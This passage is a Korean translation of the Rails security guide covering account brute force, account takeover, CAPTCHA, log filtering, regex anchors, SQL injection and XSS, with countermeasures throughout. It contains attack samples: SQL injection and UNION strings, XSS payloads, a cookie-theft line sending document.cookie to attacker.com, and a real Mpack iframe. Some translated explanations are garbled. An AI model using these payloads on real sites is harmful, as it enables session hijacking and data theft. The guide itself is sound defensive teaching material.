send_file filename, disposition: 'inline'

또 다른 (추가적인) 접근 방법은 파일 이름을 데이터베이스에 저장하고, 디스크에 있는 파일을 데이터베이스의 ID로 명명하는 것입니다. 이는 업로드된 파일의 가능한 코드가 실행되는 것을 피하기 위한 좋은 접근 방법입니다. attachment_fu 플러그인도 비슷한 방식으로 이를 수행합니다.

5 사용자 관리

참고: 거의 모든 웹 애플리케이션은 인증과 권한 부여를 처리해야 합니다. 직접 구현하는 대신 일반적인 플러그인을 사용하는 것이 좋습니다. 그러나 이러한 플러그인을 최신 상태로 유지해야 합니다. 몇 가지 추가적인 주의 사항을 통해 애플리케이션을 더욱 안전하게 만들 수 있습니다.

Rails에는 여러 인증 플러그인이 있습니다. 인기 있는 deviseauthlogic과 같은 좋은 플러그인은 암호를 평문으로 저장하지 않고 암호화된 해시로만 저장합니다. Rails 3.1부터는 안전한 암호 해싱, 확인 및 복구 메커니즘을 지원하는 내장 has_secure_password 메소드를 사용할 수도 있습니다.

5.1 계정 무차별 대입 공격

참고: 계정에 대한 무차별 대입 공격은 로그인 자격 증명에 대한 시행착오 공격입니다. 더 일반적인 오류 메시지와 CAPTCHA 입력을 요구하여 이를 방어하세요.

웹 애플리케이션의 사용자 이름 목록은 대부분의 사람들이 복잡한 암호를 사용하지 않기 때문에 해당 암호를 무차별 대입하기 위해 남용될 수 있습니다. 대부분의 암호는 사전 단어와 숫자의 조합입니다. 따라서 사용자 이름 목록과 사전을 가지고 있으면, 자동 프로그램은 몇 분 안에 올바른 암호를 찾을 수 있습니다.

이러한 이유로 대부분의 웹 애플리케이션은 "사용자 이름 또는 암호가 올바르지 않습니다"라는 일반적인 오류 메시지를 표시합니다. 만약 "입력한 사용자 이름을 찾을 수 없습니다"라고 했다면, 공격자는 사용자 이름 목록을 자동으로 작성할 수 있습니다.

그러나 대부분의 웹 애플리케이션 디자이너들이 간과하는 것은 비밀번호를 잊어버린 경우의 페이지입니다. 이러한 페이지는 종종 입력한 사용자 이름이나 이메일 주소가 (없음)을 찾았다고 인정합니다. 이로 인해 공격자는 사용자 이름 목록을 작성하고 계정을 무차별 대입할 수 있습니다.

이러한 공격을 완화하기 위해, 비밀번호를 잊어버린 페이지에서도 일반적인 오류 메시지를 표시하세요. 또한, 특정 IP 주소에서 일정 횟수의 로그인 실패 후 CAPTCHA 입력을 요구할 수 있습니다. 그러나 이는 자동 프로그램에 대한 완벽한 해결책은 아니며, 이러한 프로그램은 IP 주소를 자주 변경할 수 있습니다. 그러나 이는 공격의 장벽을 높이는 데 도움이 됩니다.

5.2 계정 탈취

많은 웹 애플리케이션들은 사용자 계정을 탈취하기 쉽게 만들어 놓았습니다. 왜 다르게 하지 않고 더 어렵게 만들지 않을까요?

5.2.1 비밀번호

공격자가 사용자의 세션 쿠키를 훔쳐서 애플리케이션을 공유할 수 있는 상황을 상상해보세요. 비밀번호를 쉽게 변경할 수 있다면, 공격자는 몇 번의 클릭만으로 계정을 탈취할 것입니다. 또는 비밀번호 변경 양식이 CSRF에 취약하다면, 공격자는 피해자를 유인하여 CSRF를 수행하는 조작된 IMG 태그가 있는 웹 페이지로 이동시킴으로써 피해자의 비밀번호를 변경할 수 있을 것입니다. 이에 대한 대책으로, 비밀번호 변경 양식을 CSRF에 대해 안전하게 만들고, 물론 비밀번호를 변경할 때 이전 비밀번호를 입력하도록 사용자에게 요구하세요.

5.2.2 이메일

하지만, 공격자는 이메일 주소를 변경함으로써 계정을 탈취할 수도 있습니다. 이메일 주소를 변경한 후, 공격자는 비밀번호를 잊어버렸을 때의 페이지로 이동하고 (아마도 새로운) 비밀번호가 공격자의 이메일 주소로 전송될 것입니다. 이에 대한 대책으로, 이메일 주소를 변경할 때도 비밀번호를 입력하도록 사용자에게 요구하세요.

5.2.3 기타

웹 애플리케이션에 따라서 사용자 계정을 탈취하는 더 많은 방법이 있을 수 있습니다. 많은 경우에 CSRF와 XSS가 그럴 수 있습니다. 예를 들어, Google Mail에서의 CSRF 취약점과 같이요. 이 개념 증명 공격에서 피해자는 공격자가 제어하는 웹사이트로 유인되었습니다. 그 사이트에는 Google Mail의 필터 설정을 변경하는 HTTP GET 요청을 수행하는 조작된 IMG 태그가 있습니다. 피해자가 Google Mail에 로그인되어 있었다면, 공격자는 필터를 모든 이메일을 공격자의 이메일 주소로 전달하도록 변경할 것입니다. 이는 계정 전체를 탈취하는 것과 거의 같은 피해를 입힐 수 있습니다. 이에 대한 대책으로, 애플리케이션 로직을 검토하고 XSS와 CSRF 취약점을 모두 제거하세요.

5.3 CAPTCHA

CAPTCHA는 응답이 컴퓨터에 의해 생성되지 않았음을 확인하기 위한 도전-응답 테스트입니다. 사용자에게 왜곡된 이미지의 글자를 입력하도록 요청하여 등록 양식을 공격자로부터 보호하고 자동 스팸 봇으로부터 댓글 양식을 보호하는 데 자주 사용됩니다. 이것은 양수 CAPTCHA입니다. 그러나 음수 CAPTCHA도 있습니다. 음수 CAPTCHA의 아이디어는 사용자가 인간임을 증명하는 것이 아니라 로봇이 로봇임을 밝히는 것입니다.

인기 있는 양수 CAPTCHA API인 reCAPTCHA는 오래된 책에서 가져온 두 개의 왜곡된 단어 이미지를 보여줍니다. 이전 CAPTCHA와 달리, reCAPTCHA는 왜곡된 배경 대신 기울어진 선과 텍스트에 높은 수준의 왜곡을 추가합니다. 이를 통해 오래된 책을 디지털화하는 데 도움이 됩니다. ReCAPTCHA는 또한 같은 이름의 API를 가진 Rails 플러그인입니다.

API에서 공개 키와 비공개 키 두 개의 키를 받게 됩니다. 이를 Rails 환경에 넣어야 합니다. 그 후에는 뷰에서 recaptcha_tags 메서드와 컨트롤러에서 verify_recaptcha 메서드를 사용할 수 있습니다. Verify_recaptcha는 유효성 검사에 실패하면 false를 반환합니다. CAPTCHA의 문제는 사용자 경험에 부정적인 영향을 미친다는 것입니다. 또한 시각 장애인 사용자 중 일부는 특정 유형의 왜곡된 CAPTCHA를 읽기 어렵다고 느낄 수 있습니다. 그래도 양수 CAPTCHA는 모든 종류의 봇이 양식을 제출하는 것을 방지하기 위한 가장 좋은 방법 중 하나입니다.

대부분의 봇은 매우 단순합니다. 그들은 웹을 크롤링하고 찾을 수 있는 모든 양식 필드에 스팸을 넣습니다. 음수 CAPTCHA는 이를 이용하여 양식에 "꿀통" 필드를 포함시키는데, 이 필드는 CSS나 JavaScript로 인해 인간 사용자에게는 숨겨집니다.

음수 CAPTCHA는 단순한 봇에 대해서만 효과적이며, 특정 봇으로부터 중요한 애플리케이션을 보호하기에는 충분하지 않습니다. 그래도 음수 CAPTCHA와 양수 CAPTCHA를 결합하여 성능을 향상시킬 수 있습니다. 예를 들어, "꿀통" 필드가 비어 있지 않은 경우 (봇이 감지된 경우), 응답을 계산하기 전에 Google ReCaptcha로의 HTTPS 요청이 필요하지 않으므로 양수 CAPTCHA를 확인할 필요가 없습니다.

다음은 JavaScript와/또는 CSS를 사용하여 "꿀통" 필드를 숨기는 몇 가지 아이디어입니다:

  • 페이지의 보이는 영역 밖에 필드를 배치합니다.
  • 요소를 매우 작게 만들거나 페이지의 배경과 동일한 색으로 색칠합니다.
  • 필드를 표시하지만 사람들에게 비워두라고 알려줍니다. 가장 간단한 부정적인 CAPTCHA는 숨겨진 허니팟 필드 하나입니다. 서버 측에서는 필드의 값을 확인합니다. 텍스트가 포함되어 있다면, 이는 봇일 것입니다. 그런 다음, 게시물을 무시하거나 긍정적인 결과를 반환하지만, 데이터베이스에는 게시물을 저장하지 않습니다. 이렇게 하면 봇은 만족하고 다음으로 넘어갑니다.

Ned Batchelder의 블로그 게시물에서 더 정교한 부정적인 CAPTCHA를 찾을 수 있습니다:

  • 현재 UTC 타임 스탬프가 포함된 필드를 추가하고 서버에서 확인합니다. 과거에 너무 멀리 있거나 미래에 있는 경우, 폼은 유효하지 않습니다.
  • 필드 이름을 무작위로 설정합니다.
  • 제출 버튼을 포함하여 모든 유형의 허니팟 필드를 여러 개 포함합니다.

이는 자동 봇만으로부터 보호해줍니다. 특정 대상을 위해 맞춤 제작된 봇은 이를 통해 막을 수 없습니다. 따라서 부정적인 CAPTCHA는 로그인 폼을 보호하기에 적합하지 않을 수 있습니다.

5.4 로깅

경고: Rails에게 로그 파일에 비밀번호를 넣지 말 것을 알립니다.

기본적으로 Rails는 웹 애플리케이션에 대한 모든 요청을 로그로 남깁니다. 그러나 로그 파일은 로그인 자격 증명, 신용 카드 번호 등을 포함할 수 있는 큰 보안 문제가 될 수 있습니다. 웹 애플리케이션 보안 개념을 설계할 때, 웹 서버에 (완전한) 액세스가 공격자에게 얻어진 경우에 대해 생각해야 합니다. 데이터베이스에서 비밀과 비밀번호를 암호화하는 것은 로그 파일에서 평문으로 나열되는 경우에는 매우 쓸모가 없습니다. 로그 파일에서 특정 요청 매개변수를 필터링하려면 응용 프로그램 구성에서 config.filter_parameters에 추가하면 됩니다. 이러한 매개변수는 로그에서 [FILTERED]로 표시됩니다.

config.filter_parameters << :password

주의: 제공된 매개변수는 부분 일치 정규 표현식에 의해 필터링됩니다. Rails는 :passw, :secret, :token과 같은 일반적인 응용 프로그램 매개변수를 처리하기 위해 적절한 초기화 파일(initializers/filter_parameter_logging.rb)에 :password, :password_confirmation:my_token과 같은 기본 필터 목록을 추가합니다.

5.5 정규 표현식

정보: Ruby의 정규 표현식에서 흔한 함정은 $로 문자열의 시작과 끝을 일치시키는 것이 아니라 \A와 \z를 사용하는 것입니다.

Ruby는 문자열의 끝과 시작을 일치시키는 데 다른 언어들과 약간 다른 접근 방식을 사용합니다. 그래서 많은 Ruby와 Rails 책들도 이를 잘못 이해하고 있습니다. 그래서 이것이 보안 위협이 되는 이유는 무엇일까요? URL 필드를 느슨하게 유효성 검사하려고 하고 다음과 같은 간단한 정규 표현식을 사용한 경우를 생각해보세요:

  /^https?:\/\/[^\n]+$/i

이는 일부 언어에서는 잘 작동할 수 있습니다. 그러나 Ruby에서 ^$의 시작과 끝을 일치시킵니다. 따라서 다음과 같은 URL은 문제없이 필터를 통과합니다:

javascript:exploit_code();/*
http://hi.com
*/

이 URL은 필터를 통과합니다. 정규 표현식은 두 번째 줄과 일치하고 나머지는 중요하지 않습니다. 이제 URL을 다음과 같이 표시하는 뷰가 있다고 상상해보세요:

  link_to "Homepage", @user.homepage

이 링크는 방문자에게는 무해해 보이지만, 클릭하면 "exploit_code" 또는 공격자가 제공하는 다른 JavaScript 함수가 실행됩니다.

정규 표현식을 수정하려면 ^$ 대신 \A\z를 사용해야 합니다. 다음과 같이:

  /\Ahttps?:\/\/[^\n]+\z/i

이것은 흔한 실수이므로 형식 유효성 검사기(validates_format_of)는 제공된 정규 표현식이 시작하거나 $로 끝나면 예외를 발생시킵니다. (드물게) $ 대신 \A와 \z를 사용해야 하는 경우 :multiline 옵션을 true로 설정할 수 있습니다. 다음과 같이:

  # 내용은 문자열에서 "Meanwhile"이라는 줄을 어디에나 포함해야 함
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

이는 형식 유효성 검사기를 사용할 때 가장 흔한 실수에 대해 보호해줍니다. 항상 Ruby에서 $가 문자열의 의 시작과 끝을 일치시키고 있다는 것을 염두에 두어야 한다는 것을 기억해야 합니다.

5.6 권한 상승

경고: 단일 매개변수를 변경하면 사용자가 권한 없는 액세스를 얻을 수 있습니다. 숨기거나 난독화하더라도 모든 매개변수가 변경될 수 있다는 것을 기억하세요.

사용자가 조작할 수 있는 가장 일반적인 매개변수는 id 매개변수입니다. http://www.domain.com/project/1과 같이 1이 id인 경우입니다. 이는 컨트롤러의 params에서 사용할 수 있습니다. 거기에서 다음과 같이 수행할 것입니다: ruby @project = Project.find(params[:id])

이것은 일부 웹 애플리케이션에는 괜찮지만, 사용자가 모든 프로젝트를 볼 권한이 없는 경우에는 그렇지 않습니다. 사용자가 id를 42로 변경하고 해당 정보를 볼 수 없는 경우에도 액세스할 수 있습니다. 대신, 사용자의 액세스 권한도 쿼리하세요:

@project = @current_user.projects.find(params[:id])

웹 애플리케이션에 따라 사용자가 조작할 수 있는 많은 매개변수가 있을 것입니다. 일반적으로, 사용자 입력 데이터는 검증되지 않은 상태로 안전하지 않으며, 사용자로부터의 모든 매개변수는 잠재적으로 조작될 수 있습니다.

보안을 위한 난독화 및 JavaScript 보안에 속지 마세요. 개발자 도구를 사용하면 모든 양식의 숨겨진 필드를 검토하고 변경할 수 있습니다. JavaScript는 사용자 입력 데이터를 유효성 검사하는 데 사용될 수 있지만, 공격자가 예상치 못한 값으로 악성 요청을 보내는 것을 방지하는 데는 사용될 수 없습니다. Mozilla Firefox용 Firebug 애드온은 모든 요청을 기록하고 반복하고 변경할 수 있습니다. 이는 JavaScript 유효성 검사를 우회하는 간단한 방법입니다. 또한 인터넷으로의 모든 요청과 응답을 가로챌 수 있는 클라이언트 측 프록시도 있습니다.

6 Injection

Injection은 악성 코드나 매개변수를 웹 애플리케이션에 도입하여 해당 보안 컨텍스트 내에서 실행하는 공격 클래스입니다. Injection의 대표적인 예로는 크로스 사이트 스크립팅(XSS) 및 SQL Injection이 있습니다.

Injection은 동일한 코드나 매개변수가 한 컨텍스트에서는 악성이지만 다른 컨텍스트에서는 완전히 무해할 수 있기 때문에 매우 까다로운 문제입니다. 컨텍스트는 스크립팅, 쿼리 또는 프로그래밍 언어, 셸 또는 Ruby/Rails 메소드일 수 있습니다. 다음 섹션에서는 Injection 공격이 발생할 수 있는 모든 중요한 컨텍스트를 다룰 것입니다. 그러나 첫 번째 섹션에서는 Injection과 관련된 아키텍처적인 결정을 다룰 것입니다.

6.1 허용 목록 대 제한 목록

검증, 보호 또는 확인할 때, 제한 목록 대신 허용 목록을 선호하세요.

제한 목록은 나쁜 이메일 주소, 비공개 작업 또는 나쁜 HTML 태그의 목록일 수 있습니다. 이는 좋은 이메일 주소, 공개 작업, 좋은 HTML 태그 등을 나열하는 허용 목록과 대조됩니다. 때로는 허용 목록을 만들 수 없는 경우도 있지만, 허용 목록 접근 방식을 사용하는 것이 좋습니다:

  • 보안 관련 작업에 대해 before_action except: [...]를 사용하세요. 이렇게 하면 새로 추가된 작업에 대한 보안 검사를 잊지 않게 됩니다.
  • 크로스 사이트 스크립팅(XSS)에 대해 <script>를 제거하는 대신 <strong>을 허용하세요. 자세한 내용은 아래를 참조하세요.
  • 제한 목록을 사용하여 사용자 입력 데이터를 수정하려고 하지 마세요:
    • 이렇게 하면 공격이 성공합니다: "<sc<script>ript>".gsub("<script>", "")
    • 그러나 잘못된 입력은 거부하세요

허용 목록은 제한 목록에서 무언가를 잊어버리는 인간 요소에 대한 좋은 접근 방식입니다.

6.2 SQL Injection

기민한 방법 덕분에 대부분의 Rails 애플리케이션에서는 이것이 큰 문제가 되지 않습니다. 그러나 이것은 웹 애플리케이션에서 매우 파괴적이고 흔한 공격이므로 이 문제를 이해하는 것이 중요합니다.

6.2.1 소개

SQL Injection 공격은 웹 애플리케이션 매개변수를 조작하여 데이터베이스 쿼리에 영향을 주는 것을 목표로 합니다. SQL Injection 공격의 인기 있는 목표는 인가 우회입니다. 다른 목표는 데이터 조작 또는 임의의 데이터 읽기입니다. 다음은 쿼리에서 사용자 입력 데이터를 올바르게 사용하지 않는 예입니다:

Project.where("name = '#{params[:name]}'")

이것은 검색 작업에서 사용될 수 있으며, 사용자는 찾고자 하는 프로젝트의 이름을 입력할 수 있습니다. 악의적인 사용자가 ' OR 1) --를 입력하면 생성되는 SQL 쿼리는 다음과 같습니다:

SELECT * FROM projects WHERE (name = '' OR 1) --')

두 개의 대시는 주석을 시작하며 그 이후의 모든 것을 무시합니다. 따라서 쿼리는 사용자에게 눈에 보이지 않는 모든 레코드를 포함한 projects 테이블의 모든 레코드를 반환합니다. 이는 모든 레코드에 대해 조건이 참이기 때문입니다.

6.2.2 인가 우회

일반적으로 웹 애플리케이션에는 액세스 제어가 포함됩니다. 사용자는 로그인 자격 증명을 입력하고 웹 애플리케이션이 사용자 테이블에서 일치하는 레코드를 찾으려고 합니다. 애플리케이션은 레코드를 찾으면 액세스를 허용합니다. 그러나 공격자는 SQL Injection을 사용하여이 검사를 우회할 수 있습니다. 다음은 사용자가 제공한 로그인 자격 증명 매개변수와 일치하는 사용자 테이블에서 첫 번째 레코드를 찾기 위한 Rails에서 일반적인 데이터베이스 쿼리입니다. ruby User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

만약 공격자가 이름으로 ' OR '1'='1을 입력하고, 비밀번호로 ' OR '2'>'1을 입력하면, 결과적으로 생성되는 SQL 쿼리는 다음과 같습니다:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

이는 데이터베이스에서 첫 번째 레코드를 간단히 찾아 이 사용자에게 액세스 권한을 부여합니다.

6.2.3 무단 읽기

UNION 문은 두 개의 SQL 쿼리를 연결하고 하나의 집합으로 데이터를 반환합니다. 공격자는 이를 사용하여 데이터베이스에서 임의의 데이터를 읽을 수 있습니다. 위의 예제를 살펴보겠습니다:

Project.where("name = '#{params[:name]}'")

그리고 이제 UNION 문을 사용하여 다른 쿼리를 주입해 보겠습니다:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

이로 인해 다음과 같은 SQL 쿼리가 생성됩니다:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

결과는 프로젝트 목록이 아니라 사용자 이름과 비밀번호 목록이 됩니다. 따라서 데이터베이스에서 비밀번호를 안전하게 해싱했는지 확인하십시오! 공격자에게 유일한 문제는 두 쿼리의 열 수가 동일해야 한다는 것입니다. 그래서 두 번째 쿼리에는 항상 1의 값인 1의 목록이 포함되어 있으며, 이는 첫 번째 쿼리의 열 수와 일치하기 위해 사용됩니다.

또한, 두 번째 쿼리는 AS 문을 사용하여 일부 열의 이름을 변경하여 웹 애플리케이션이 사용자 테이블의 값을 표시하도록 합니다. Rails를 2.1.1 이상으로 업데이트하는 것이 좋습니다.

6.2.4 대응 방안

Ruby on Rails에는 ', ", NULL 문자 및 줄 바꿈을 이스케이프하는 특수 SQL 문자용 내장 필터가 있습니다. Model.find(id) 또는 Model.find_by_something(something)을 사용하면 이 대응 방안이 자동으로 적용됩니다. 그러나 SQL 조각, 특히 조건 조각 (where("..."))에서는 connection.execute() 또는 Model.find_by_sql() 메서드를 사용해야 수동으로 적용해야 합니다.

문자열을 전달하는 대신 다음과 같이 오염된 문자열을 살균하는 위치 지정 처리기를 사용할 수 있습니다:

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

첫 번째 매개변수는 물음표가 포함된 SQL 조각입니다. 두 번째와 세 번째 매개변수는 물음표를 변수의 값으로 대체합니다.

해시에서 값을 가져올 수 있는 이름 지정 처리기도 사용할 수 있습니다:

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

또한, 사용 사례에 유효한 조건을 분할하고 체인으로 연결할 수도 있습니다:

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

이전에 언급한 대응 방안은 모델 인스턴스에서만 사용할 수 있습니다. 다른 곳에서는 sanitize_sql을 시도할 수 있습니다. SQL에서 외부 문자열을 사용할 때 보안적인 결과를 생각하는 습관을 가지세요.

6.3 크로스 사이트 스크립팅 (XSS)

웹 애플리케이션에서 가장 퍼져 있고 가장 파괴적인 보안 취약점 중 하나인 XSS입니다. 이 악성 공격은 클라이언트 측에서 실행 가능한 코드를 주입합니다. Rails는 이러한 공격을 방어하기 위한 도우미 메서드를 제공합니다.

6.3.1 진입점

진입점은 공격자가 공격을 시작할 수 있는 취약한 URL과 해당 매개변수입니다.

가장 일반적인 진입점은 메시지 게시물, 사용자 댓글 및 방명록입니다. 그러나 프로젝트 제목, 문서 이름 및 검색 결과 페이지와 같은 곳도 취약할 수 있습니다. 사용자가 데이터를 입력할 수 있는 곳이라면 어디든지 입력될 수 있습니다. 그러나 입력은 반드시 웹 사이트의 입력 상자에서 올 필요는 없으며, 명백하거나 숨겨진 URL 매개변수 - 명백하게, 숨겨져 있거나 내부적으로 - 어디에서든지 될 수 있습니다. 사용자는 모든 트래픽을 가로챌 수 있습니다. 응용 프로그램이나 클라이언트 측 프록시를 사용하면 요청을 변경하기 쉽습니다. 또한 배너 광고와 같은 다른 공격 벡터도 있습니다.

XSS 공격은 다음과 같이 작동합니다. 공격자는 일부 코드를 주입하고, 웹 애플리케이션이 이를 저장하고 페이지에 표시합니다. 이후 피해자에게 제시됩니다. 대부분의 XSS 예제는 간단히 경고 상자를 표시하지만, 그 이상의 기능을 가지고 있습니다. XSS는 쿠키를 도용하거나 세션을 탈취하거나, 피해자를 가짜 웹 사이트로 리디렉션하거나, 공격자의 이익을 위해 광고를 표시하거나, 웹 브라우저의 보안 취약점을 통해 웹 사이트의 요소를 변경하여 기밀 정보를 얻거나 악성 소프트웨어를 설치할 수 있습니다.

2007년 하반기에는 Mozilla 브라우저에서 88개의 취약점이 보고되었으며, Safari에서는 22개, IE에서는 18개, Opera에서는 12개가 있었습니다. Symantec 글로벌 인터넷 보안 위협 보고서에는 2007년 하반기에 브라우저 플러그인에서 239개의 취약점이 문서화되었습니다. Mpack은 이러한 취약점을 이용하는 매우 활동적이고 최신의 공격 프레임워크입니다. 범죄 헤커들에게는 웹 애플리케이션 프레임워크에서 SQL 인젝션 취약점을 악용하고 모든 텍스트 테이블 열에 악성 코드를 삽입하는 것이 매우 유혹적입니다. 2008년 4월에는 51만 개 이상의 사이트가 이와 같이 해킹되었으며, 그 중에는 영국 정부, 유엔 등 많은 유명한 대상이 포함되어 있습니다.

6.3.2 HTML/JavaScript 삽입

가장 일반적인 XSS 언어는 물론 가장 인기 있는 클라이언트 측 스크립팅 언어인 JavaScript입니다. 사용자 입력을 이스케이프하는 것이 필수입니다.

다음은 XSS를 확인하기 위한 가장 간단한 테스트입니다.

<script>alert('Hello');</script>

이 JavaScript 코드는 간단히 경고 상자를 표시합니다. 다음 예제들은 동일한 작업을 수행하지만 매우 흔하지 않은 위치에서 수행됩니다.

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
6.3.2.1 쿠키 도용

지금까지 이러한 예제들은 아무런 피해를 주지 않았으므로, 이제 공격자가 사용자의 쿠키를 도용하여 (따라서 사용자의 세션을 탈취하는) 방법을 살펴보겠습니다. JavaScript에서는 document.cookie 속성을 사용하여 문서의 쿠키를 읽고 쓸 수 있습니다. JavaScript는 동일 출처 정책을 강제하므로, 한 도메인의 스크립트는 다른 도메인의 쿠키에 액세스할 수 없습니다. document.cookie 속성은 원래 웹 서버의 쿠키를 보유합니다. 그러나 XSS와 같이 코드를 HTML 문서에 직접 삽입하는 경우에만이 속성을 읽고 쓸 수 있습니다. 웹 애플리케이션의 어디에나 다음을 삽입하여 결과 페이지에서 자신의 쿠키를 확인할 수 있습니다.

<script>document.write(document.cookie);</script>

공격자에게는 이것이 유용하지 않습니다. 피해자는 자신의 쿠키를 볼 수 있습니다. 다음 예제는 URL http://www.attacker.com/과 쿠키를 함께 이미지로 로드하려고 시도합니다. 물론 이 URL은 존재하지 않으므로 브라우저는 아무것도 표시하지 않습니다. 그러나 공격자는 웹 서버의 액세스 로그 파일을 검토하여 피해자의 쿠키를 확인할 수 있습니다.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com의 로그 파일은 다음과 같이 기록됩니다.

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

이러한 공격을 완화하기 위해 쿠키에 httpOnly 플래그를 추가하여 JavaScript에서 document.cookie를 읽을 수 없도록 할 수 있습니다. HTTP only 쿠키는 IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4 및 Chrome 1.0.154 이후에서 사용할 수 있습니다. 그러나 WebTV 및 Mac의 IE 5.5와 같은 다른 오래된 브라우저는 페이지 로드에 실패할 수 있습니다. 그러나 Ajax를 사용하여 쿠키를 확인할 수 있습니다.

6.3.2.2 변형

웹 페이지 변형을 통해 공격자는 다양한 작업을 수행할 수 있습니다. 예를 들어, 잘못된 정보를 제공하거나 피해자를 공격자의 웹 사이트로 유인하여 쿠키, 로그인 자격 증명 또는 기타 중요한 데이터를 도용할 수 있습니다. 가장 인기 있는 방법은 iframe을 사용하여 외부 소스에서 코드를 포함하는 것입니다.

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

이는 임의의 HTML 및/또는 JavaScript를 외부 소스에서 로드하여 사이트의 일부로 포함시킵니다. 이 iframeMpack 공격 프레임워크를 사용하여 합법적인 이탈리아 사이트에 대한 실제 공격에서 가져온 것입니다. Mpack은 웹 브라우저의 보안 취약점을 통해 악성 소프트웨어를 설치하려고 시도합니다. 이 공격은 매우 성공적으로 50%의 공격이 성공합니다.

더 특수한 공격은 전체 웹 사이트를 겹쳐쓰거나 로그인 양식을 표시할 수 있습니다. 이 로그인 양식은 사이트의 원본과 동일하지만 사용자 이름과 비밀번호를 공격자의 사이트로 전송합니다. 또는 CSS 및/또는 JavaScript를 사용하여 웹 애플리케이션에서 합법적인 링크를 숨기고 가짜 웹 사이트로 리디렉션하는 다른 링크를 표시할 수 있습니다.

반사된 삽입 공격은 페이로드가 나중에 피해자에게 제공되는 것이 아니라 URL에 포함된 경우입니다. 특히 검색 양식에서 검색 문자열을 이스케이프하지 않는 경우에 발생합니다. 다음 링크는 "George Bush가 9세 소년을 의장으로 임명했다"라는 페이지를 제시했습니다.

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 대응 방안

악성 입력을 필터링하는 것은 매우 중요하지만, 웹 애플리케이션의 출력을 이스케이프하는 것도 중요합니다.

특히 XSS의 경우, 제한된 대신 허용된 입력 필터링을 수행하는 것이 중요합니다. 허용된 목록 필터링은 허용되는 값들을 명시하는 반면, 제한된 목록은 완전하지 않습니다.

제한된 목록에서 사용자 입력에서 "script"를 삭제한다고 가정해보십시오. 이제 공격자가 "<scrscriptipt>"를 삽입하고 필터링 후에 "<script>"가 남습니다. 이전 버전의 Rails는 strip_tags(), strip_links()sanitize() 메서드에 대해 제한된 목록 접근 방식을 사용했습니다. 따라서 다음과 같은 삽입이 가능했습니다.

strip_tags("some<<b>script>alert('hello')<</b>/script>")

이는 "some<script>alert('hello')</script>"를 반환하여 공격을 성공시킵니다. 이것이 허용된 목록 접근 방식이 더 나은 이유이며, 업데이트된 Rails 2 메서드 sanitize()를 사용하는 것입니다. ruby tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))

이 코드는 주어진 태그만 허용하며, 모든 종류의 트릭과 잘못된 태그에 대해서도 잘 작동합니다.

두 번째 단계로, 응용 프로그램의 모든 출력을 이스케이프하는 것이 좋은 관행입니다. 특히 사용자 입력을 다시 표시할 때 (이전에 입력 필터링되지 않은 경우와 같이) html_escape() (또는 그 별칭인 h()) 메서드를 사용하여 HTML 입력 문자 &, ", <, >를 HTML에서의 해석되지 않은 표현인 &amp;, &quot;, &lt;, &gt;로 대체합니다.

6.3.2.4 난독화 및 인코딩 공격

네트워크 트래픽은 주로 제한된 서양 문자로 이루어져 있으므로, 다른 언어의 문자를 전송하기 위해 유니코드와 같은 새로운 문자 인코딩이 등장했습니다. 그러나 이는 웹 애플리케이션에 대한 위협이 될 수도 있습니다. 악성 코드는 웹 브라우저가 처리할 수 있지만 웹 애플리케이션이 처리할 수 없는 다른 인코딩으로 숨겨질 수 있습니다. 다음은 UTF-8 인코딩에서의 공격 벡터입니다:

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

이 예제는 메시지 상자를 팝업시킵니다. 하지만 위의 sanitize() 필터에서 인식될 것입니다. 문자열을 난독화하고 인코딩하는 데 사용할 수 있는 훌륭한 도구는 Hackvertor입니다. Rails의 sanitize() 메서드는 인코딩 공격을 방어하는 데에도 효과적입니다.

6.3.3 지하에서의 예시

웹 애플리케이션에 대한 오늘날의 공격을 이해하기 위해서는 실제 공격 벡터를 살펴보는 것이 가장 좋습니다.

다음은 Js.Yamanner@m Yahoo! Mail 웜에서 발췌한 것입니다. 이 웜은 2006년 6월 11일에 나타났으며, 첫 번째 웹메일 인터페이스 웜이었습니다:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

이 웜은 일반적으로 모든 태그와 onload 속성을 필터링하는 Yahoo의 HTML/JavaScript 필터의 취약점을 이용합니다 (자바스크립트가 포함될 수 있기 때문에). 필터는 한 번만 적용되지만, 웜 코드가 포함된 onload 속성은 그대로 남아 있습니다. 이는 제한된 목록 필터가 완벽하지 않으며, 웹 애플리케이션에서 HTML/JavaScript를 허용하기 어렵다는 좋은 예입니다.

다른 예로는 Nduja라는 크로스 도메인 웜이 있습니다. 이 웜은 4개의 이탈리아 웹메일 서비스를 대상으로 합니다. Rosario Valotta의 논문에서 자세한 내용을 찾을 수 있습니다. 이 두 웹메일 웜은 이메일 주소를 수집하는 것을 목표로 하며, 이는 범죄적인 해커가 돈을 벌 수 있는 일입니다.

